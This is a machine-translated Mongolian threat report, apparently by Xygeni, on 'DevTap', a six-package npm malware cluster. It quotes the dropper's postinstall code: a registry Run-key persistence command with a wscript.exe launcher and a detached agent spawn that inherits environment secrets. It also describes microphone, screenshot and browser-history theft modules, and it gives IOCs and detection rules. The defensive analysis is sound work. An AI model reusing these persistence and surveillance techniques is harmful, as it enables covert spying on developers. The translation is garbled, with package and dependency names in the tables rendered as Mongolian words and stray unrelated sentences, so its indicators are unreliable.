TL, DR
2026 оны 4-р сарын 1-ээс 5-р сарын 3-ны хооронд ганц npm хэвлэн нийтлэгч, user0001баталгаажаагүй Gmail хаягаар бүртгүүлсэн tanvisoul9@gmail.com, санаатайгаар дэд бүтцийн утгагүй нэртэй зургаан багцыг чимээгүйхэн түлхэв: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeБолон node-env-resolve.
Хамгийн сүүлийн хоёр хувилбар нь node-env-resolve, 1.0.7 болон 1.0.8 хувилбаруудыг Xygeni-ийн Malware Early Warning (MEW) систем 5-р сарын 2-нд тэмдэглэж, 5-р сарын 3-нд хортой болохыг баталгаажуулсан.
Суулгац нь ер бусын зүйл биш юм: Telegram ботууд, OAST буцах дуудлага байхгүй, үгүй Зорилго, мөн суулгах үед AWS итгэмжлэлийг авах оролдлого хийх шаардлагагүй. Үүний оронд, postinstall.js ажиллуулдаг HKCU Run товчийг ашиглан Windows-ийн ачаалах тогтвортой байдлын оруулгыг суулгана wscript.exe VBS stub-ын эсрэг. Дараа нь энэ нь микрофон барих, хөтчийн түүх хулгайлах, дэлгэцийн зураг авах, хулгана/гарын симуляци хийх модулиудыг багцалсан тусдаа Node.js агентийг үүсгэдэг.
Бид энэ кластерыг дуудаж байна DevTap, хэрэгсэл дууссаны дараа хөгжүүлэгчийн машин дээр ажиллахаа болино.
Бичиж байх үед зургаан багц бүгд npm дээр ажиллаж байсан. Бид тэдгээрийг бүртгэлийн зүй бус хэрэглээний сувагт илгээсэн. Хамгаалагчид нийтлэгчээс устгахаар хүлээгдэж буй аливаа суулгалтыг хасах ёстой.
Кластер: Зургаан багц, нэг хэвлэн нийтлэгч
Нийтлэгчийн бүртгэл user0001 баталгаажаагүй байна. Энэ нь байхгүй SCM баталгаажуулалт, домэйнтэй холбоотой имэйл байхгүй, өмнөх түүх байхгүй. Gmail хаяг tanvisoul9 бидний олж чадах өөр npm нийтлэгчийн бичлэгт харагдахгүй байна.
Зургаан багц бүгд ижил засварлагчийг жагсаасан, ижил данснаас нийтлэгдсэн бөгөөд ижил зүйлийг хуваалцдаг package.json загвар байхгүй. repository, үгүй homepage, болон үгүй description нэг мөрөөс урт.
Нэрлэх стратеги нь сонирхолтой хэсэг юм. Сонгодог хамаарлын төөрөгдөл эсвэл бичгийн алдаатай кампанит ажлаас ялгаатай нь эдгээр нэрсийн аль нь ч тодорхой дээд урсгалын номын санг чиглэдэггүй. Үүний оронд тэдгээрийг жинхэнэ утгаар нь алга болгохын тулд тохируулсан байдаг. package.json or npm ls гаралт.
| Багц | Эхний хэвлэгдсэн | Хамгийн сүүлийн үеийн хувилбар | Хувилбарууд | Кластер дахь үүрэг |
|---|---|---|---|---|
| төвлөрсөн логгер | 2026-04-01 12:46 UTC | 1.0.9 | 5, 1.0.5-аас 1.0.9 хүртэл | Кластерын “бүртгэлийн хэрэгсэл”-ийн хавтас; хамгийн анхны нийтлэгдсэн хувилбар |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Ерөнхий DOM-туслах бүрхүүл |
| зангилаа-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Mimics зангилааны дуудлагын гэр бүл |
| холбогч-агент | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Ерөнхий нэртэй "агент" |
| зангилаа-gyp-ажиллах хугацаа | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Дуураймал уугуул модуль бүтээх хэрэгсэл |
| зангилааны-хүрээлэнгийн-шийдвэр | 2026-04-25 05:21 UTC | 1.0.9 | 10, 1.0.0-аас 1.0.9 хүртэл | Идэвхтэй дусаагуур; бүрэн суулгац |
гэх мэт нэрс centralogger, node-fetch-liteБолон node-gyp-runtime кодын хяналтад маргаангүй харагдахаар бүтээгдсэн. Эдгээр нь төслийн хамаарлын модонд аль хэдийн байгаа зүйлс шиг сонсогдож байна.
Шинэ, баталгаажаагүй нийтлэгч болон репозиторын холбоосууд байхгүй байгаатай хослуулан эдгээр нь танигдахуйц хэв маягийг бий болгодог: жүжигчин нь бүртгэлд бага үрэлттэй нэрсийг суулгаж, дараа нь чухал нэр дээр хурдан давтдаг. Энэ тохиолдолд, node-env-resolve найман өдрийн дотор арван хувилбарыг хүлээн авсан.
Windows Dev Box дээр юу байрладаг вэ
Хортой гинж асаалттай байна node-env-resolve:1.0.8 нь npm RAT-ийн хувьд богино, шууд бөгөөд ер бусын онцлог шинж чанартай байдаг.
Суулгасны дараа: Тогтвортой байдал ба тусдаа агент
package.json нэг суулгах дэгээг зарлаж байна:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js гурван зүйлийг дарааллаар нь хийдэг.
Нэгдүгээрт, энэ нь npm модны гадна суулгалтын санг шаталдаг. Замыг скрипт дэх ажиллах үед дараах байдлаар тооцоолно INSTALL_DIRДараа нь энэ нь дотоод ажиллагааг ажиллуулдаг execSync('npm install --production --silent ...') суулгацын ажиллах хугацааны хамаарлыг татахын тулд дотор нь оруулна. Энэ нь агентийг дискэн дээр гарын авлагын хаа нэгтээ байрлуулна node_modules аудит олохгүй.
Хоёрдугаарт, энэ нь VBS эхлүүлэгчийг бичиж, ачаалах тогтвортой байдалд бүртгэдэг:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe нь ажилладаг гарын үсэг зурсан Microsoft хоёртын файл болох Windows Script Host юм. .vbs консолын цонхгүй файлууд. Энэ нь урьдчилан байнаcisЯагаад үүнийг autorun stub-уудад илүүд үздэг вэ?
Мөн тохирох зүйл байна reg delete доторх зам src/index.js, энэ нь суулгацыг операторын тушаалаар цэвэрхэн салгаж авах боломжтой байхаар бүтээгдсэнийг харуулж байна.
Гуравдугаарт, энэ нь салангид хүүхэд процессыг бий болгодог:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Энд хоёр нарийн ширийн зүйл чухал юм.
SERVER_URL орчноос уншдаг. Үүний үр дүнд C2 төгсгөлийн цэгийг байршуулалт бүрт тохируулах боломжтой бөгөөд багцад оруулдаггүй. Энэхүү жижиг боловч санаатай сонголт нь ихэнх статик-IOC сканнердалтыг ялдаг.
Түүнчлэн, төрсөн хүүхэд нь эцэг эхийн бүрэн орчныг өвлөн авдаг. Тиймээс, аливаа NPM_TOKEN, AWS_*, GITHUB_TOKEN, эсвэл суулгах үед хөгжүүлэгчийн бүрхүүлд байгаа SSH-агентийн сокет нь удаан хугацааны турш ашиглагдах агентын санах ой руу шилждэг.
Агент юугаар тээвэрлэдэг вэ
Багцалсан src/ мод нь зөвхөн нэр нь түүхийг өгүүлдэг гурван модулийг агуулдаг: audioCapture.js, browserHistory.jsБолон systemInfo.js.
Үе шаттайгаар шийдвэрлэсэн ажиллах хугацааны хамаарлын жагсаалт npm install, тэднийг баталж байна.
Энэ арга нь эмх замбараагүй явдлыг хяналттай хариу үйлдэл болгон хувиргадаг.
Багууд сохроор хариу үйлдэл үзүүлэхийн оронд дараах байдлаар ажилладаг тодорхой эрэмбэлэлт болон хурдан засварлалт.
| Хамааралтай байдал | Энэ нөхцөлд юуны тулд вэ |
|---|---|
| дэлгэцийн агшин | Үе үе дэлгэцийн зураг авалт |
| @nut-tree-fork/nut-js | Хулгана болон гарны автоматжуулалт / оролтын симуляци |
| илүү сайн-sqlite3 | Chrome, Edge болон Firefox History SQLite өгөгдлийн санг шууд унших |
| adm-zip | Цуглуулсан эд өлгийн зүйлсийг гадагшлуулахаас өмнө багцлах |
| хурц | Дэлгэцийн агшин болон зургийн эд өлгийн зүйлсийг хэмжээг өөрчлөх / шахах |
| socket.io-клиент | Байнгын хоёр чиглэлтэй C2 суваг |
| зангилааны машины дугаар | Хохирогчийг хянах зориулалттай хост бүрийн хурууны хээг тогтвортой байлгах |
systemInfo.js Дуудлага os.networkInterfaces() анхны дохио өгөхөөс өмнө нэмэлт хурууны хээ авах зорилгоор.
Аудио бичлэг яагаад онцгой дохио болдог вэ
MEW дээр бидний ангилдаг ихэнх npm RAT-ууд нь суулгах үеийн нууц хулгай дээр зогсдог. Тэд уншдаг. ~/.npmrc, унш ~/.aws/credentials, хусах process.env, Вэб дэгээ рүү POST хийгээд гарна уу. Энэ нь эвдэж булаах эдийн засгийн загварт тохирно. Итгэмжлэлийн хагас ашиглалтын хугацаа богино бөгөөд халдагч хурдан мөнгө олох шаардлагатай.
node-env-resolve хэлбэрээрээ өөр өөр байдаг.
Дахин ачаалсны дараа тогтвортой байхаар тохируулагдсан. Агент нь тусдаа ажиллаж, удаан хугацаанд ажилладаг wscript.exeҮүний авч явдаг хэрэгсэл нь хөгжүүлэгчийн машин дээр байх зориулалттай болохоос аваад явахад зориулагдаагүй: микрофон бичигч, гар/хулганы драйвер, хөтчийн түүхийн бүрэн мэдээлэл, дэлгэцийн зураг авалт, мөн тохируулж болох C2 руу буцах интерактив Socket.IO суваг.
Ялангуяа микрофон барих нь энэ кампанит ажил нь ихэнх npm хортой програм хангамжийн давж гардаг шугамыг давж гардаг.
Хөгжүүлэгчийн ажлын станц нь хөгжүүлэгчид стенд-ап, хэрэглэгчийн дуудлага, дизайны хэлэлцүүлэг, дуудлагын гүүр зэрэг үйл ажиллагаа явуулдаг ажлын станц болж байна. Микрофоныг бичдэг имплант нь үнэндээ хөгжүүлэгчийн npm токен биш, харин хөгжүүлэгчийн зөөврийн компьютерын өмнө хэлсэн зүйлийн дараа байрладаг.
Энэхүү чадварын багц, мөн төөрөгдөл байхгүй, суулгах үеийн гял цал гадагшлуулах ямар ч арга байхгүй зэрэг нь боломжит нууц мэдээлэл хулгайлахаас илүүтэй зорилтот хандалтын урьдчилсан байршил гэж уншигддаг.
Бид зөвхөн үүгээр л холбоотой гэж үзэж байгаа юм биш. Бид үйл ажиллагааны профайлыг тэмдэглэж байна.

Найман өдрийн давталтын хэмнэл node-env-resolve нь цагийн хуваарийн хамгийн үйл ажиллагааны хувьд тодорхой мэдээлэл юм.
Энэ бол гал асаагаад мартчихдаг drop биш юм. Хэвлэн нийтлэгч dropper-ийг идэвхтэйгээр арчилж байгаа бөгөөд энэ нь ихэвчлэн хоёр зүйлийн нэгийг илэрхийлдэг. Тэд үүнийг илүү өргөн хүрээнд байршуулахаас өмнө туршилтын орчинд тохируулж байгаа эсвэл аль хэдийн телеметрийн суулгалт буцаж ирээд хариу үйлдэл үзүүлж байгаа.
Бусад таван багц анхны нийтлэгдсэний дараа ямар ч өөрчлөлт гараагүй. Энэ нь дэмжлэг үзүүлэх кластерын "үе шатыг дуусгаад нэртэйг нь орхи" гэсэн загварт тохирсон бол инженерчлэлийн хүчин чармайлт нь ажлыг гүйцэтгэдэг багц дээр төвлөрдөг.
Эх сурвалж: Жижиг сэжүүрүүд, баттай дүгнэлт байхгүй
Олон нийтийн OSINT дохионууд нимгэн бөгөөд бид тэдгээрийг сунгахгүй. Ажиглагдаж буй зүйл:
Gmail хаяг tanvisoul9 Өмнөд Азийн "Tanvi" нэртэй хэсэгчлэн төстэй. Энэ бол сул дохио юм. Gmail хаягууд нь таних тэмдэг биш бөгөөд хойно нь soul9 ерөнхий шинж чанартай. Зөвхөн имэйлийн орон нутгийн хэсгээс газарзүйн байршлыг тодорхойлох нь аюулгүй биш юм.
Кодын хэв маяг нь онцгой биш юм. Node.js: standard гэх мэт номын сангийн дуудлага os, child_process, spawnБолон reg add. Энд ямар ч төөрөгдөл, мөр эргүүлэлт, дибаг хийхээс хамгаалах логик байхгүй. Зохиогч нь Windows бүртгэлийн үндсэн функцууд болон салангид хүүхдийн процессын найрал хөгжимд сэтгэл хангалуун байдаг ч тэдний ашиглаж болох илүү нууцлаг арилжааны аргыг ашиглахгүй байгаа бололтой.
Хамаарал нь бүрэн бэлэн биш бөгөөд сайн мэддэг: screenshot-desktop, nut-js, better-sqlite3Болон socket.io-clientСурах бичгээс өөр өөрчлөн тохируулсан протокол, эхнээс нь цувисан C2 стек, мөн шинэлэг тууштай байдлын заль мэх байхгүй. HKCU Run товчлуурЭнэ бол чадварлаг интегратор болохоос хэрэгслийн зохиогч биш.
Бид нийтлэгдсэн эд өлгийн зүйлсээс Англи хэлнээс өөр хэл дээрх тэмдэгт мөр, суулгагдсан тайлбар, локал өгөгдөл эсвэл хөрвүүлэгчийн гаралтын цагийн бүсийн хурууны хээ олсонгүй.
Бид өмнө нь хянаж байсан кампанит ажлуудтайгаа кодын давхцал байгаа эсэхийг шалгасан, үүнд Шай Хулуд, Овливьон, Buildkite болон саяхны хэйбай / claude-code-best Хүн төрөлхтний CLI клоны гэр бүл. Бид юу ч олсонгүй: хуваалцсан C2 загвар, хуваалцсан файлын байршил, хуваалцсан хэлц үгс байхгүй.
Бид юу гэж хэлэхгүй вэ: энэ нь төрийн байгууллага, мэдэгдэж буй бүлэглэл эсвэл газарзүйн хувьд аль нэг тодорхой улстай холбоотой.
Үйл ажиллагааны профайл нь хөгжүүлэгчийн ажлын станцын хяналтыг хийдэг жижиг, дунд зэргийн ур чадвартай багтай нийцэж байна. Энэ нь хандалтыг дараагийн шатанд ашиглах замаар санхүүгийн хувьд сэдэлтэй байх магадлалтай, гэхдээ тусдаа худалдан авагчийн хувьд үйлчилгээ болгон тагнуул хийх боломжтой.
Хоёр шууд бус зүйлийг дэмжиж байна: Telegram ботууд гэх мэт кластерыг хурдан шатаах анхаарал татахуйц гадагшлуулах механикуудаас зайлсхийх, oastify.com, эсвэл canarytokens болон санаатайгаар даруухан багцын нэрс нь богино хугацааны өндөр хэмжээний өсөлтийн оронд чимээгүй урт сүүлтэй суулгалтыг илүүд үздэг.
Буулт ба илрүүлэлтийн үзүүлэлтүүд
| Багцууд болон Хэвлэн нийтлэгч | |
|---|---|
| хээрийн | үнэ цэнэ |
| npm нийтлэгч | user0001 |
| Нийтлэгчийн имэйл хаяг | tanvisoul9@gmail.com, баталгаажаагүй |
| Багцууд нь | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Хортой гэж батлагдсан | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Хостын эд өлгийн зүйлс | |
|---|---|
| Төрөл: | үнэ цэнэ |
| Тогтвортой байдлын түлхүүр | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Тогтвортой байдлын үнэ цэнэ | Хувьсагчийн нэр; wscript.exe хэлбэрийн өгөгдөл " \\ .vbs" |
| Дэгээ суурилуулах | postinstall: багцын манифест дэх postinstall.js зангилаа |
| Суулгацын модулиуд | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Тайзны лавлах | INSTALL_DIR нь төслийн node_modules-оос гадуур шийдэгдсэн; байршлыг суулгах үед postinstall.js тохируулсан |
| Сүлжээний | |
|---|---|
| Төрөл: | үнэ цэнэ |
| C2 тээвэрлэлт | socket.io-клиент, байнгын хоёр чиглэлтэй суваг |
| C2 төгсгөлийн цэг | SERVER_URL орчны хувьсагчаар дамжуулан агентад өгөгдсөн; нийтлэгдсэн эд өлгийн зүйлсэд хатуу кодлогдоогүй |
Илрүүлэлтийн тэмдэглэл
C2 төгсгөлийн цэгийг ашиглахгүйгээр энэ гэр бүлийг хоёр дүрэм барьж чадна.
Эхлээд дотоод үйлдлийг гүйцэтгэдэг postinstall скриптүүдийг тэмдэглэнэ үү npm install багцын өөрийн сангийн гаднах зам руу. Аливаа хууль ёсны prebuild татаж авагч, жишээ нь node-gyp хоёртын файл татаж авагчдыг дахин бүтээх эсвэл урьдчилан бүтээх, багц дотор эсвэл платформ руу бичихstandard баталгаажсан хэштэй кэш замууд. Энэ нь шинээр үүсгэсэн файл руу бичдэггүй INSTALL_DIR дискний өөр газар.
Хоёрдугаарт, асуудалтай байгаа postinstall скриптүүдийг тэмдэглэнэ үү reg add HKCU\…\Run хамтран wscript.exe эхлүүлэгчийн хувьд. Энэ нь npm багцаас хэзээ ч хууль ёсны биш юм. Үүнийг тэмдэглээд, хорио цээрлэнэ үү.
Гурав дахь эвристик нь дараагийн ах дүүгийн багцыг баталгаажуулахаас өмнө илрүүлэхэд хэрэгтэй: шинэ npm нийтлэгч, үгүй. SCM баталгаажуулалт, Gmail имэйл, үгүй repository талбар, мөн бие биенээсээ хэдхэн хоногийн зайтай нийтлэгдсэн олон тооны богино, ерөнхий, дэд бүтцийн сонсогдож буй багцын нэрс нь өөрөө гараар хянах үндэслэлтэй юм.
npm бүртгэлд мэдээлсэн. Нийтлэгчийн бүртгэлийг устгасны дараа бид энэ бичлэгийг шинэчлэх болно.






